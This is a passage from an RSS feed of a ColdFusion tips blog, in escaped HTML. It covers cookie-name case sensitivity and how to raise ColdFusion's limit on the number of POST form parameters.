&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Code Explanation&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.5in; text-indent: -0.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: Symbol; font-size: 10pt;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;When our first if clause checks whether “x” exists in cookie or&amp;nbsp; not it always find it as ColdFusion case in sensitive but when it&amp;nbsp; sets to delete the code cookie “X”, we got following in HTTP&amp;nbsp; response header:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHxma3cR-0jfAolcqwoIdriMXtwFwt8d6hIF_iz0Mj4lqLoyiJoZZ-eKm1GL5xbC-W4whLF2LIICu92d2uSZ21ZRpGyAry8P6t6d2snyGNuXz8BKPR-G6vatTOJEODzMhb397Lr2iwUew/s1600/cookie-5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;408&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHxma3cR-0jfAolcqwoIdriMXtwFwt8d6hIF_iz0Mj4lqLoyiJoZZ-eKm1GL5xbC-W4whLF2LIICu92d2uSZ21ZRpGyAry8P6t6d2snyGNuXz8BKPR-G6vatTOJEODzMhb397Lr2iwUew/s640/cookie-5.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.5in; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.5in; text-indent: -0.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: Symbol; font-size: 10pt;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Here, ColdFusion send command to browser to delete cookie with name “X” by setting the expiry date as now.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.5in; text-indent: -0.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: Symbol; font-size: 10pt;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Browser set the cookie “X” with expiry date as current time but the old cookie (“x”) is not affected by that activity.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.5in; text-indent: -0.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: Symbol; font-size: 10pt;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;In second dump ColdFusion overwrites “x” value by “X”, in server side only. But, cookie stored in client side, when we refresh the page “X” is deleted (as we set the expiry date as current time) and “x” is available. So, it again displays “x”.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin: 0in 0in 0.0001pt 0.5in; text-indent: -0.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: Symbol; font-size: 10pt;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;When we set cookie name in upper case(X) by JavaScript, then ColdFusion can able to delete that value as I have already explained that how.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: #c00000; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.5pt; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;;&quot;&gt;****NOTE&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;When setting cookie from client side be aware of the case sensitivity.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2013/10/case-sensitive-issue-with-cookie-in.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1HUJRDyC1XrF-zVGtCEFSrL-hO7wKfZKekDYRqjy3KGxTfHsJFhnVF_1Es4dSoXkrkaywLpZ5i4au0DIg8Mt8eIOpO1JBd5SLXgG1FOXOORSyYoht9NrDQ5e3aIyo8d-Z6C39NYhiGsI/s72-c/cookie-1.png" height="72" width="72"/><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-9212566314665430490</guid><pubDate>Sat, 12 Oct 2013 11:52:00 +0000</pubDate><atom:updated>2013-10-22T19:04:26.857+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion 10</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion 9</category><category domain="http://www.blogger.com/atom/ns#">Post Parameters Exceeds Maximum Limit</category><title>Post Parameters Exceeds Maximum Limit</title><description>&lt;div class=&quot;Standard&quot;&gt;
In sometime
I was making a “POST” AJAX request to server and it was working fine but latter
I had to add few new form elements and then I made the POST AJAX call. Suddenly
I got the error:&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;b&gt;HTTP Error 500.0 - Internal Server Error&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;b&gt;The page cannot be displayed because an internal server
error has occurred.&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFkDcrTappeKBOKpiXNYo6kek_F-XSoFVLkMPpDqL9l3Nz1tIAwjhlYnGn9nl8K-Pno-3Rt_bkPvv_ses91qp3gZUi-zqOSrLY8tntzNjQMemkn2NjgvcHx_lbKZ_98OZ4Be0h3yMLFww/s1600/IIS.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFkDcrTappeKBOKpiXNYo6kek_F-XSoFVLkMPpDqL9l3Nz1tIAwjhlYnGn9nl8K-Pno-3Rt_bkPvv_ses91qp3gZUi-zqOSrLY8tntzNjQMemkn2NjgvcHx_lbKZ_98OZ4Be0h3yMLFww/s1600/IIS.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;Standard&quot;&gt;
I was using ColdFusion – 9 with IIS. After few searching I
found that the problem is with no of form parameters present in the “POST”
request. By default ColdFusion provides a default form element limit as “100”. If
the no of parameter will exceed to that then we will get error message.&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
I run the same code in ColdFusion – 10 with Apache and I got
the following error message:&lt;br /&gt;
&lt;b&gt;POST parameters exceeds the maximum limit&lt;/b&gt;.&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirEydcnyDwfOXqLTAF0PJjzrSeQCcwKcR5uw77CGx6nw20AB10wqntATysmuUogs1pa04bmYAOgSj85B7xUCTHTDtjc2nEhapK7tL3gqs0xH-gbgGylm8Pnp6tUjhbbGwZOPlSB7KeJXI/s1600/Apache.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirEydcnyDwfOXqLTAF0PJjzrSeQCcwKcR5uw77CGx6nw20AB10wqntATysmuUogs1pa04bmYAOgSj85B7xUCTHTDtjc2nEhapK7tL3gqs0xH-gbgGylm8Pnp6tUjhbbGwZOPlSB7KeJXI/s1600/Apache.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
Then the question arises:&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot; style=&quot;margin-left: 0in; mso-list: l0 level1 lfo1; text-indent: 0in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: OpenSymbol; mso-bidi-font-family: OpenSymbol; mso-fareast-font-family: OpenSymbol;&quot;&gt;–&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Will I get the same error for “GET” request?&lt;/div&gt;
&lt;div class=&quot;Standard&quot; style=&quot;margin-left: 0in; mso-list: l0 level1 lfo1; text-indent: 0in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: OpenSymbol; mso-bidi-font-family: OpenSymbol; mso-fareast-font-family: OpenSymbol;&quot;&gt;–&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;How can I increase the limit in ColdFusion?&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;b&gt;Will I get the same error for “GET” request?&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
No, for “GET” request you will not get such error . “GET”
request depends on the URL length. I mean when you make any “GET” request all
parameters are appended to the base URL and they pass in URL scope. Each
browser have some limit to length of the URL it can process, if the URL length
in “GET” request will exceed to that then you may get some error message or
some unwanted result.&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;b&gt;How can I increase the limit in ColdFusion?&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;b&gt;In
ColdFusion – 9:&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;b&gt;First install the &lt;a href=&quot;http://helpx.adobe.com/coldfusion/kb/coldfusion-security-hotfix.html&quot; target=&quot;_blank&quot;&gt;security fix&lt;/a&gt;(&amp;nbsp;&lt;/b&gt;&lt;a href=&quot;http://helpx.adobe.com/coldfusion/kb/coldfusion-security-hotfix.html&quot;&gt;http://helpx.adobe.com/coldfusion/kb/coldfusion-security-hotfix.html&lt;/a&gt;&lt;b&gt;&amp;nbsp;) for ColdFusion - 9.&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
Go to {ColdFusion-Home}/lib for Server Installation&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
or&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
{ColdFusion-Home}/WEB-INF/cfusion/lib for Multiserver or J2EE
installation.&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
Open file neo-runtime.xml, after the line.&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;span style=&quot;color: #2300dc;&quot;&gt;&amp;lt;var
name=&#39;postSizeLimit&#39;&amp;gt;&amp;lt;number&amp;gt;100.0&amp;lt;/number&amp;gt;&amp;lt;/var&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
add the below line and you can change the number 100 to your
desired limit.&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;span style=&quot;color: #3deb3d;&quot;&gt;&amp;lt;var
name=&#39;postParametersLimit&#39;&amp;gt;&amp;lt;number&amp;gt;100.0&amp;lt;/number&amp;gt;&amp;lt;/var&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;span style=&quot;color: #3deb3d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;b&gt;In ColdFusion – 10:&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
Adobe has added an option in ColdFusion Admin to control the
number of form elements. Go to&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
“&lt;b&gt;Settings&lt;/b&gt;”, you will see a screen like below:&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihhfhYLlQahqKrI7x_jOSnBKcFAes4nHAzY8Q9fV1wUdf6UOPjzWLi6nula5EN7kflnvKfD5S-drQhPqOxPP1dybvEFyFqzjJ-4IzwDzUEtsqULSDfVI9U2if-sgRvw8gg8l_eH2wbpdc/s1600/CF10+Settings.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihhfhYLlQahqKrI7x_jOSnBKcFAes4nHAzY8Q9fV1wUdf6UOPjzWLi6nula5EN7kflnvKfD5S-drQhPqOxPP1dybvEFyFqzjJ-4IzwDzUEtsqULSDfVI9U2if-sgRvw8gg8l_eH2wbpdc/s1600/CF10+Settings.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;!--[if gte vml 1]&gt;&lt;o:wrapblock&gt;&lt;v:shape id=&quot;graphics3&quot;
  o:spid=&quot;_x0000_s1026&quot; type=&quot;#_x0000_t75&quot; style=&#39;position:absolute;
  margin-left:0;margin-top:0;width:463.45pt;height:240.5pt;z-index:1;
  visibility:visible;mso-wrap-style:square;mso-wrap-distance-left:9pt;
  mso-wrap-distance-top:0;mso-wrap-distance-right:9pt;
  mso-wrap-distance-bottom:0;mso-position-horizontal:center;
  mso-position-horizontal-relative:text;mso-position-vertical:top;
  mso-position-vertical-relative:text&#39;&gt;
  &lt;v:imagedata src=&quot;file:///C:\Users\UPENDR~1\AppData\Local\Temp\msohtmlclip1\01\clip_image005.png&quot;
   o:title=&quot;&quot;/&gt;
  &lt;w:wrap type=&quot;topAndBottom&quot;/&gt;
 &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;!--[endif]--&gt;&lt;!--[if gte vml 1]&gt;&lt;/o:wrapblock&gt;&lt;![endif]--&gt;&lt;br clear=&quot;ALL&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
You can change the highlighted section value from “100” to
your desired form element limit.&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;Standard&quot;&gt;
&lt;b&gt;NOTE:&lt;/b&gt; After doing all these you will see if you
have provided “100” limit then you are able to pass only “99” form elements in
post request I.e. 1 element less than the limit. Because when do any form post
ColdFusion automatically added a field called “&lt;b&gt;FIELDNAMES&lt;/b&gt;”.&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2013/10/post-parameters-exceeds-maximum-limit.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFkDcrTappeKBOKpiXNYo6kek_F-XSoFVLkMPpDqL9l3Nz1tIAwjhlYnGn9nl8K-Pno-3Rt_bkPvv_ses91qp3gZUi-zqOSrLY8tntzNjQMemkn2NjgvcHx_lbKZ_98OZ4Be0h3yMLFww/s72-c/IIS.png" height="72" width="72"/><thr:total>13</thr:total></item></channel></rss>